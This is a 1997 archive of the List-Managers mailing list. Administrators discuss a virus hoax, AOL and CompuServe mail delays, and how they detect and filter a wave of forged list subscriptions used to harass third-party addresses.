=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D Bill Casti, CQA Email: help@quality.or= g - Domain Owner, QUALITY.ORG Pager: +1 800 604 6149 - List Moderator, "TQM in Manufacturing and Service Industries" - Chairman, Electronic Media ASQC Section 0511 (Northern VA) Section Email: E-media@quality.org - 1997-98 Chair-elect, Executive Board, ASQC Section 0511=20 - Senior Administrator, Internet Systems, Fed. Emergency Mgmt. Agency (FEM= A) ---------------------------------------------------------------------------= -- Get Your New CyberQ Teeshirt now! See the Design at http://www.quality.org/qc/teeshirts.html =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D On Wed, 9 Apr 1997, Rob =ABRibMan=BB wrote: > > Subject: FW: Toni Kawada: Internet Virus !!!! Please Read. (fwd) > > >THIS INFORMATION WAS RECEIVED THIS MORNING FROM IBM, PLEASE SHARE IT > > >ENTITLED "PENPAL GREETINGS!" This message appears to be a friendly > >=20 > I presume this is puke. Is there a site dedicated to declaring genuine a= nd > non-genuine viruses? >=20 > Rob >=20 >=20 From owner-list-managers-outgoing Tue Apr 8 17:53:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA02156 for list-managers-outgoing; Tue, 8 Apr 1997 17:04:48 -0700 (PDT) Received: from [198.102.244.42] (pb520.greatcircle.com [198.102.244.42]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id RAA02034; Tue, 8 Apr 1997 17:04:03 -0700 (PDT) X-Sender: brent@honor.greatcircle.com Message-Id: In-Reply-To: References: <199704020900.BAA12316@honor.greatcircle.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 8 Apr 1997 17:00:44 -0800 To: Gary Bickford From: Brent Chapman Subject: Re: List-Managers-Digest V6 #73 Cc: list-managers-digest@GreatCircle.COM, mcb@GreatCircle.COM Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 2:16 PM -0600 4/7/97, Gary Bickford wrote: >Brent, >>We've had some success using a front-end filter for Majordomo that blocks >[snip] > >Thanks for the great work, and the great tool! Just thought you'd like to >hear something once in a while. > >PS - >I sent mail to the list-managers list a few weeks ago, offering to set up >and run a database of problem domains/users, if folks would help figure out >just what it should contain. There's some obvious difficulties and >complexities. I was thinking of a kind of clearinghouse that would be able >to keep pretty close to up-to-the minute based on input from selected >master users. > >I posted it twice, but to my knowledge it never appeared (I get the digest, >so I miss things sometimes). Maybe somebody thought this was a hoax. Your messages got held for review because the address you're posting from (garyb@fxt.com) isn't the same as what you're subscribed to the List-Managers mailing list with (garyb@outlawnet.com). The person who normally does all the postmaster stuff here (Michael Berch), including reviewing such messages, was out of the country for most of March, and I didn't have enough spare time to keep up with it all myself. He's back now, and more or less caught up, so things should be getting back to normal. >The offer still stands - I run mSQL (http://www.hughes.com.au), and I/we >can make it accessible only from approved hosts either via the web, or via >a connection on a particular port if you want to make it accessible from >within majordomo. Or, if you'd rather, I can help you set something like >this up at Great Circle. > >GB We have no interest in hosting such a database here. As you mention, there are a number of issues involved. Thanks! -Brent -- Brent Chapman Internet/intranet training and consulting, Brent@GreatCircle.COM specializing in network design and security. Great Circle Associates,Inc. Visit us at http://www.greatcircle.com/ From owner-list-managers-outgoing Wed Apr 9 07:06:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA13116 for list-managers-outgoing; Wed, 9 Apr 1997 06:55:04 -0700 (PDT) Received: from grinch.whoville.leftbank.com (grinch.leftbank.com [139.167.128.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id GAA13102 for ; Wed, 9 Apr 1997 06:54:56 -0700 (PDT) Received: from zax.whoville.leftbank.com by grinch.whoville.leftbank.com via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 9 Apr 1997 13:53:49 UT Received: (from nmehl@localhost) by zax.leftbank.com (8.7.5/8.7.3/LeftBank-1.1/http://www.leftbank.com/) id JAA18051; Wed, 9 Apr 1997 09:54:12 -0400 (EDT) From: "Nathan J. Mehl" Message-Id: <199704091354.JAA18051@zax.leftbank.com> Subject: Re: your mail To: RibMan@tpgi.com.au (Rob RibMan) Date: Wed, 9 Apr 1997 09:54:12 -0400 (EDT) Cc: list-managers@GreatCircle.COM In-Reply-To: <199704082254.IAA20790@random.tpgi.com.au> from "Rob RibMan" at Apr 9, 97 08:54:35 am X-Abby-Says: Nathan, you keep getting to be the first person who does things to me X-My-Minions: Took over Lunacon...and Minbar. X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk In the immortal words of Rob RibMan: > > Subject: FW: Toni Kawada: Internet Virus !!!! Please Read. (fwd) > >THIS INFORMATION WAS RECEIVED THIS MORNING FROM IBM, PLEASE SHARE IT > >ENTITLED "PENPAL GREETINGS!" This message appears to be a friendly > > I presume this is puke. Is there a site dedicated to declaring genuine and > non-genuine viruses? As a matter of fact, yes. Ironically given the content of the above message, the site devoted to debunking virus hoaxes is, in fact, run by IBM: http://www.av.ibm.com/BreakingNews/HypeAlert/ -n -- Don't blame me -- I voted for the Unabomber! Nathan J. Mehl -- The Left Bank Operation (work) nmehl@leftbank.com -- http://www.leftbank.com (play) memory@blank.org -- http://ccat.sas.upenn.edu/nmehl/ From owner-list-managers-outgoing Thu Apr 10 09:37:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA12016 for list-managers-outgoing; Thu, 10 Apr 1997 09:34:09 -0700 (PDT) Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id JAA12005 for ; Thu, 10 Apr 1997 09:34:03 -0700 (PDT) Received: from crl5.crl.com by mail.crl.com with SMTP id AA17946 (5.65c/IDA-1.5 for ); Thu, 10 Apr 1997 09:30:59 -0700 Date: Thu, 10 Apr 1997 09:30:56 -0700 (PDT) From: Subir Grewal To: List Managers Subject: AOL & compuserve problems. Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I was wondering whether anyone here could help me understand and resolve two problems we're having. The first is the the widely reported problem reaching AOL's mail exchangers. If anyone has updates on that, or knows when it will be fixed, where to find out more about it etc. That would be very helpful. The second problem is a long standing one (since I took over our lists at work about 4 months ago). A lot of compuserve subscribers complain that they only recieve mail from us at infrequent intervals. We operate large mailing lists to deliver the synopsis of the day's news as reported in newspapers we host. Our logs show mail arrives at Compuserve. After that I have no way to track it, so it seems to be ending up in a black hole on some days. I'm interedted in solving this problem, but repeated messages (about 15 or so since I CC postmaster@compuserve on ever reply to a compuserve user's complaint) have gone unanswered and unacknowledged. Anyone know how to get a reply out of Compuserve? My usual trick is to send a message pointing out my difficulties, why the setup at the ISPs end makes it difficult for me to perform the trace myself (to find what address is bouncing etc.) and regreting the lack of a response which simply shows the ISPs complete lack of concern for a valuable service (mail) and possibly ineptness. This usually gets a response within the hour (people don't like to be told, however gently, that they don't know what they're doing) but not a peep out of CompuServe. So what do you think I should do? We have over a hundred compuserve users on our lists. hostmaster@trill-home.com * Lynx 2.7.1 * PGP * http://www.crl.com/~subir/ If an S and an I and an O and a U With an X at the end spell Su; And an E and a Y and an E spell I, Pray what is a speller to do? Then, if also an S and an I and a G And an HED spell side, There's nothing much left for a speller to do But to go commit siouxeyesighed. -- Charles Follen Adams, "An Orthographic Lament" From owner-list-managers-outgoing Thu Apr 10 10:22:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA15296 for list-managers-outgoing; Thu, 10 Apr 1997 09:54:02 -0700 (PDT) Received: from atheria.europa.com (atheria.europa.com [199.2.194.10]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id JAA15243 for ; Thu, 10 Apr 1997 09:53:48 -0700 (PDT) Received: from thetics.europa.com(really [199.2.194.14]) by atheria.europa.com via sendmail with smtp id for ; Thu, 10 Apr 1997 09:52:30 -0700 (PDT) (Smail-3.2.0.91 1997-Jan-14 #4 built 1997-Jan-19) Date: Thu, 10 Apr 1997 09:52:30 -0700 (PDT) From: kali To: List Managers Subject: Re: AOL & compuserve problems. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > I was wondering whether anyone here could help me understand and resolve > two problems we're having. The first is the the widely reported problem > reaching AOL's mail exchangers. If anyone has updates on that, or knows > when it will be fixed, where to find out more about it etc. That would be > very helpful. My ISP was experiencing problems with sending mail to AOL also, here is what they said to us: "The last few days our mail servers have been refusing connections at times due to very high loads. Once they handle their mail and open the port again, they are again flooded. This recurring cycle may make it appear like we are not accepting mail from your domain. We are aware that our mail servers are refusing connections at times, and we are taking steps to rectify those problems." humpf...doesn't really say much...but this was just yesterday..... -kali kali@europa.com From owner-list-managers-outgoing Thu Apr 10 12:38:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA28918 for list-managers-outgoing; Thu, 10 Apr 1997 11:24:47 -0700 (PDT) Received: from gumby.combdyn.com (gumby.combdyn.com [192.203.203.5]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id LAA28898 for ; Thu, 10 Apr 1997 11:24:33 -0700 (PDT) Received: (from lawrence@localhost) by combdyn.com (8.8.5/8.8.5) id MAA18985; Thu, 10 Apr 1997 12:22:55 -0600 (MDT) From: Lawrence Chen Message-Id: <199704101822.MAA18985@gumby.combdyn.com> Subject: Re: AOL & compuserve problems. To: subir@crl.com (Subir Grewal) Date: Thu, 10 Apr 1997 12:22:55 -0600 (MDT) Cc: list-managers@GreatCircle.COM In-Reply-To: from "Subir Grewal" at Apr 10, 97 09:30:56 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk According to Subir Grewal: > The second problem is a long standing one (since I took over our lists > at work about 4 months ago). A lot of compuserve subscribers complain > that they only recieve mail from us at infrequent intervals. We operate > large mailing lists to deliver the synopsis of the day's news as reported > in newspapers we host. Our logs show mail arrives at Compuserve. After > that I have no way to track it, so it seems to be ending up in a black > hole on some days. I'm interedted in solving this problem, but repeated > messages (about 15 or so since I CC postmaster@compuserve on ever reply to > a compuserve user's complaint) have gone unanswered and unacknowledged. > Compuserve is kind of a strange beast......internally mail is not instantenous. I have seen it take hours for a message to go from one Compuserve user to another.....so it stands to reason that the same delays affect mail with the outside world. And, I have seen it take hours for a message originating from Compuserve arrive in my Internet mailbox. -- Lawrence Chen, P.Eng. "The Dreamer" VE6LKC/VE6PAQ Computer/Research Engineer Email: lawrence@combdyn.com Combustion Dynamics Ltd. Phone: +1 403 529 2162 #203, 132 4th Avenue S.E. Fax: +1 403 529 2516 Medicine Hat, AB T1A 8B5 URL: http://www.combdyn.com "Just a Crazy Engineer with an Amiga and a Newton MP130" - The Dreamer From owner-list-managers-outgoing Thu Apr 10 13:22:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA02015 for list-managers-outgoing; Thu, 10 Apr 1997 11:43:32 -0700 (PDT) Received: from casti.com (vector.casti.com [199.181.80.100]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id LAA02000 for ; Thu, 10 Apr 1997 11:43:22 -0700 (PDT) Received: by casti.com (8.6.9/NX3.0M) id OAA09420; Thu, 10 Apr 1997 14:44:25 -0500 Date: Thu, 10 Apr 1997 14:44:24 -0500 (GMT-0500) From: "Bill Casti, CQA (Moderator)" X-Sender: help@vector.casti.com To: List Managers Subject: Re: AOL & compuserve problems. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I've sent the posting to AOL's Postmaster, who is a friend of mine, for his viewpoint. I'll post what I get. Regards. Bill ============================================================================= Bill Casti, CQA Email: help@quality.org - Domain Owner, QUALITY.ORG Pager: +1 800 604 6149 - List Moderator, "TQM in Manufacturing and Service Industries" - Chairman, Electronic Media ASQC Section 0511 (Northern VA) Section Email: E-media@quality.org - 1997-98 Chair-elect, Executive Board, ASQC Section 0511 - Senior Administrator, Internet Systems, Fed. Emergency Mgmt. Agency (FEMA) ----------------------------------------------------------------------------- Get Your New CyberQ Teeshirt now! See the Design at http://www.quality.org/qc/teeshirts.html ============================================================================= On Thu, 10 Apr 1997, kali wrote: > > I was wondering whether anyone here could help me understand and resolve > > two problems we're having. The first is the the widely reported problem > > reaching AOL's mail exchangers. If anyone has updates on that, or knows > > when it will be fixed, where to find out more about it etc. That would be > > very helpful. > > My ISP was experiencing problems with sending mail to AOL also, here is > what they said to us: > > "The last few days our mail servers have been refusing connections at > times due to very high loads. Once they handle their mail and open the > port again, they are again flooded. This recurring cycle may make it > appear like we are not accepting mail from your domain. We are aware that > our mail servers are refusing connections at times, and we are taking > steps to rectify those problems." > > humpf...doesn't really say much...but this was just yesterday..... > > -kali > kali@europa.com > > From owner-list-managers-outgoing Thu Apr 10 14:22:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA23360 for list-managers-outgoing; Thu, 10 Apr 1997 13:46:05 -0700 (PDT) Received: from casti.com (vector.casti.com [199.181.80.100]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id NAA23177 for ; Thu, 10 Apr 1997 13:45:11 -0700 (PDT) Received: by casti.com (8.6.9/NX3.0M) id QAA11175; Thu, 10 Apr 1997 16:46:16 -0500 Date: Thu, 10 Apr 1997 16:46:16 -0500 (GMT-0500) From: "Bill Casti, CQA (Moderator)" X-Sender: help@vector.casti.com To: list-managers@GreatCircle.COM Subject: Re: AOL & compuserve problems. (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk FYI.... ---------- Forwarded message ---------- Date: Thu, 10 Apr 1997 15:51:42 -0400 (EDT) From: Postmaster@aol.com To: help@quality.org Subject: Re: AOL & compuserve problems. (fwd) In a message dated 97-04-10 15:36:29 EDT, you write: > If you can shed light, please do so. There's not much light I can shed -- Operations is painfully aware of the problems and are working diligently to get things back to normal. I understand that we -are- accepting mail, but we have an enormous backlog of messages to process. --David ------------------- End of Forwarded Message -------------------- ============================================================================= Bill Casti, CQA Email: help@quality.org - Domain Owner, QUALITY.ORG Pager: +1 800 604 6149 - List Moderator, "TQM in Manufacturing and Service Industries" - Chairman, Electronic Media ASQC Section 0511 (Northern VA) Section Email: E-media@quality.org - 1997-98 Chair-elect, Executive Board, ASQC Section 0511 - Senior Administrator, Internet Systems, Fed. Emergency Mgmt. Agency (FEMA) ----------------------------------------------------------------------------- Get Your New CyberQ Teeshirt now! See the Design at http://www.quality.org/qc/teeshirts.html ============================================================================= From owner-list-managers-outgoing Thu Apr 10 14:22:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA27004 for list-managers-outgoing; Thu, 10 Apr 1997 14:11:27 -0700 (PDT) Received: from solutions.apple.com (solutions.apple.com [17.255.34.19]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA26995 for ; Thu, 10 Apr 1997 14:11:21 -0700 (PDT) Received: from [17.219.12.99] (A17-219-12-99.apple.com [17.219.12.99]) by solutions.apple.com (8.6.10/A/UX 3.1) with ESMTP id OAA29644; Thu, 10 Apr 1997 14:11:24 -0700 Message-Id: In-Reply-To: <199704101822.MAA18985@gumby.combdyn.com> References: from "Subir Grewal" at Apr 10, 97 09:30:56 am Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 10 Apr 1997 14:03:56 -0700 To: Lawrence Chen , subir@crl.com (Subir Grewal) From: Chuq Von Rospach Subject: Re: AOL & compuserve problems. Cc: list-managers@GreatCircle.COM Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 11:22 AM -0700 4/10/97, Lawrence Chen wrote: >Compuserve is kind of a strange beast......internally mail is not >instantenous. Or consistent -- it's obviously an internal hodgepodge, because depending on the phase of the moon, different error messages come out of compuserve for different users. They haven't even gotten to the point where their internal systems are standardized.... That worries me... (grin) -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-list-managers-outgoing Sat Apr 12 08:53:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28565 for list-managers-outgoing; Sat, 12 Apr 1997 08:39:34 -0700 (PDT) Received: from mail.his.com (mail.his.com [205.177.25.9]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA28541 for ; Sat, 12 Apr 1997 08:39:27 -0700 (PDT) Received: from [205.177.25.174] (brad.his.com [205.177.25.174]) by mail.his.com (8.8.4/8.8.4) with ESMTP id LAA26886; Sat, 12 Apr 1997 11:38:31 -0400 (EDT) Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 12 Apr 1997 11:36:29 -0400 To: Subir Grewal , List Managers From: Brad Knowles Subject: Re: AOL & compuserve problems. Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 12:30 PM -0400 4/10/1997, Subir Grewal wrote: >I was wondering whether anyone here could help me understand and resolve >two problems we're having. The first is the the widely reported problem >reaching AOL's mail exchangers. If anyone has updates on that, or knows >when it will be fixed, where to find out more about it etc. That would be >very helpful. We have recently installed some new hardware to help boost our capacity, but even with the added capacity, it's still going to take a while for the backlog to clear. We have additional capacity expansion being prepared, which will hopefully come online this next week. Once it does, the rest of the backlog should clear quickly. -- Brad Knowles, MIME/PGP: brad@his.com comp.mail.sendmail FAQ Maintainer finger brad@his.com for my PGP Public Keys and Geek Code The comp.mail.sendmail FAQ is at From owner-list-managers-outgoing Sun Apr 13 03:22:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id DAA23494 for list-managers-outgoing; Sun, 13 Apr 1997 03:12:54 -0700 (PDT) Received: from duticai.twi.tudelft.nl (duticai.twi.tudelft.nl [130.161.159.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id DAA23487 for ; Sun, 13 Apr 1997 03:12:45 -0700 (PDT) Received: (from winfave@localhost) by duticai.twi.tudelft.nl (8.8.5/8.8.5) id MAA26089; Sun, 13 Apr 1997 12:11:55 +0200 (MET DST) From: Alexander Verbraeck Message-Id: <199704131011.MAA26089@duticai.twi.tudelft.nl> Subject: Re: Prelude to spam attack? To: jthomas@sun.soci.niu.edu Date: Sun, 13 Apr 1997 12:11:54 +0200 (MET DST) Cc: winfave@duticai.twi.tudelft.nl, list-managers@greatcircle.com In-Reply-To: from "Jim Thomas" at Apr 13, 97 01:50:54 am X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > A user from @pop3.sushiking.com subbed to a number of listproc groups > on our system in the past day or so, including a "non-existent" group. > The groups are sufficiently diverse in topic and audience that the > odds of this being a legit sub are virtually nil. > > A letter of inquiry went unanswered, but more subs arrived. > Has anybody else experienced this? Same here. The user subscribed to every single group we have. As far as I can see from a port 25 session, the system is full time busy with mail processing, and does not know it has users anymore. I unsubbed the user from all groups, and put the domain in the .ignored file. Kind regards, Alexander Verbraeck List Manager BPR-L, DYNMOD-L ----------------------------------------------------------------- Dr. Alexander Verbraeck Delft University of Technology Department of Systems Engineering, Policy Analysis and Management Jaffalaan 5 P.O. Box 5015, 2600 GA Delft The Netherlands Tel: +31 15 2783805 Secr: +31 15 2788380 Fax: +31 15 2783429 e-mail: A.Verbraeck@sepa.tudelft.nl List manager BPR-L, DYNMOD-L http://www.sepa.tudelft.nl/~alexandv/ See also ..../bpr-l.html ----------------------------------------------------------------- From owner-list-managers-outgoing Sun Apr 13 09:37:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA23250 for list-managers-outgoing; Sun, 13 Apr 1997 09:25:09 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA23230 for ; Sun, 13 Apr 1997 09:24:59 -0700 (PDT) Received: from [207.254.96.49] by colossus.arl.mil with ESMTP (Apple Internet Mail Server 1.1.1); Sun, 13 Apr 1997 12:31:27 -0400 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Sun, 13 Apr 1997 12:25:07 -0400 To: List-Abuse , listmom-talk@skyweyr.com, List-Managers@GreatCircle.COM From: Vince Sabio Subject: Mailing Lists Are Under Attack Again Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Posted to: List-Abuse, Listmom-Talk, List-Managers It is underway again. Attached is a message I received yesterday ... --- begin forwarded text Date: Sat, 12 Apr 1997 18:28:26 -0500 (CDT) From: "David St. Pierre" To: owner-humornet@csf.colorado.edu Subject: please unsubscribe rickmac@swbell.net rickmac@swbell.net was subscribed to a mailing list which you manage without his permission. he would really appreciate it if you could remove his entry as soon as possible. we have been bouncing your mail to him for several days now, and will continue to do so, at his request. --- end forwarded text I tracked down the subscription confirmation (well, the Welcome message), and the original request was apparently formatted as such: SUBSCRIBE HUMORNET RICKMAC SWBELL Note -- the personal-info fields are filled by the local-part of the address and the domain name (sans the top-level field). So I checked this morning's subscriptions, and found several MORE just like it. I think that the addresses under attack will be of interest to all of us; including Rick's address, above, here is my current list: rickmac@swbell.net fumellif@ats.it mario@Baskerville.it info@baskerville.it phant@rpi.edu administrator@rcm.inet.it cneedham@matrix.it mark@galactica.it I'd appreciate any confirmations to this list that others can provide by cross-checking their lists. Final note: In my case, I am NOT unsubscribing them -- I am setting their accounts to POSTPONE, so that they will not receive list mail. Any subssequent attempts at subscribing these addresses will result in "user already subscribed" errors. And at least *one* of those addresses up there has already had at least SIX subscription attempts since I caught the first one. - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to . -- Because The Only GOOD Spammer is a DEAD Spammer From owner-list-managers-outgoing Sun Apr 13 10:22:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA27199 for list-managers-outgoing; Sun, 13 Apr 1997 10:07:59 -0700 (PDT) Received: from plaidworks.com (plaidworks.com [207.167.80.66]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA27155 for ; Sun, 13 Apr 1997 10:07:47 -0700 (PDT) Received: from [207.167.80.70] (zamboni.plaidworks.com [207.167.80.70]) by plaidworks.com (8.8.5/8.8.5) with ESMTP id KAA13641; Sun, 13 Apr 1997 10:08:47 -0700 (PDT) Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 13 Apr 1997 09:52:06 -0700 To: "ListMom-Talk Discussion List" , List-Abuse , List-Managers@GreatCircle.COM From: Chuq Von Rospach Subject: Re: Mailing Lists Are Under Attack Again Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 9:25 AM -0700 4/13/97, Vince Sabio wrote: >Posted to: List-Abuse, Listmom-Talk, List-Managers > >It is underway again. Attached is a message I received yesterday ... whooo, baby is it. My filters have trapped about 200K of attempted spam since midnight. As far as I can tell,it's the same person/group, using the same sources, since none of it seems to be sneaking through my filters. -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-list-managers-outgoing Sun Apr 13 11:07:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA29045 for list-managers-outgoing; Sun, 13 Apr 1997 11:01:59 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id LAA29030 for ; Sun, 13 Apr 1997 11:01:49 -0700 (PDT) Received: from [207.254.96.49] by colossus.arl.mil with ESMTP (Apple Internet Mail Server 1.1.1); Sun, 13 Apr 1997 14:08:18 -0400 Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Sun, 13 Apr 1997 14:01:56 -0400 To: "ListMom-Talk Discussion List" , List-Abuse , List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: Mailing Lists Are Under Attack Again Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 09:52 -0700 4/13/97, Chuq Von Rospach sent everyone: >>It is underway again. Attached is a message I received yesterday ... > >whooo, baby is it. My filters have trapped about 200K of attempted spam >since midnight. As far as I can tell,it's the same person/group, using >the same sources, since none of it seems to be sneaking through my >filters. Chuq, if you collate the targeted addresses at some point, could you please post them? I know I'd like to scrub my list, and I'm sure that several others would like to, as well. I wish I had access to the Unix shell on the server; it appears to be pretty easy to trap the suspect subscriptions with procmail, since they are using a rather consistent format for the subscribes. Unfortunately, all I have are Eudora filters, which are not as robust. However, a *minor* pattern has become evident, and has allowed me to write an effective filter to catch many of the illicit subs: apparently, a good portion of these attacks are directed against Italian addresses. Filtering on the subject of the "Welcome" message (on which I'm CCed) *and* ".ir\r\r" (i.e., ".ir") in the body of the message has enabled me to trap the Italian addresses on ListProc. I'm considering just extracting the entire subscription archive into a text file, and processing it in DCL to catch the errant subs ... - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to . -- Because The Only GOOD Spammer is a DEAD Spammer From owner-list-managers-outgoing Sun Apr 13 11:37:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA00201 for list-managers-outgoing; Sun, 13 Apr 1997 11:33:47 -0700 (PDT) Received: from moose.ncia.net (moose.ncia.net [207.140.8.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id LAA00192 for ; Sun, 13 Apr 1997 11:33:41 -0700 (PDT) Received: from ncia99n.ncia.net (gkfoote@ncia99n.ncia.net [207.141.176.99]) by moose.ncia.net (8.6.12/8.6.12) with SMTP id OAA16488 for ; Sun, 13 Apr 1997 14:32:00 -0400 Message-Id: <3.0.1.16.19970413143259.469f1e06@mailhost.ncia.net> X-Sender: gkfoote@mailhost.ncia.net X-Mailer: Windows Eudora Light Version 3.0.1 (16) Date: Sun, 13 Apr 1997 14:32:59 To: list-managers@greatcircle.com From: "Gary K. Foote" Subject: Introduction Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Hello, My name is Gary K. Foote and I am a fairly new subscriber to the list-managers list. Here's what I do; Since 1994 I have been developing and online-marketing WWW sites for small and medium companies. I also run 52 north American weather forecast mailing-lists ( mailto:subs@webbers.com ) and recently concieved of and implemented The List Exchange, a fast-growing community of list-owner members negotiating the free exchange of list sponsorships with an eye towards increasing circulation for the participating parties. (see .sig for URL) But, enough about me. Gary K. Foote mailto:gf@listex.com ----------------------------------------------------- The List Exchange http://www.listex.com Increase your readership by trading list sponsorships Webbers.com http://www.webbers.com PO 3214, N.Conway, NH 03860 (603)356-2748 From owner-list-managers-outgoing Sun Apr 13 12:07:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA01101 for list-managers-outgoing; Sun, 13 Apr 1997 11:56:47 -0700 (PDT) Received: from duticai.twi.tudelft.nl (duticai.twi.tudelft.nl [130.161.159.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id LAA01094 for ; Sun, 13 Apr 1997 11:56:39 -0700 (PDT) Received: (from winfave@localhost) by duticai.twi.tudelft.nl (8.8.5/8.8.5) id UAA01041; Sun, 13 Apr 1997 20:55:48 +0200 (MET DST) From: Alexander Verbraeck Message-Id: <199704131855.UAA01041@duticai.twi.tudelft.nl> Subject: Re: Mailing Lists Are Under Attack Again To: orionsoft@telephonet.com, wavelet@colossus.arl.mil Date: Sun, 13 Apr 1997 20:55:47 +0200 (MET DST) Cc: list-managers@greatcircle.com In-Reply-To: from "Vince Sabio" at Apr 13, 97 02:01:56 pm X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > Chuq, if you collate the targeted addresses at some point, could you > please post them? I know I'd like to scrub my list, and 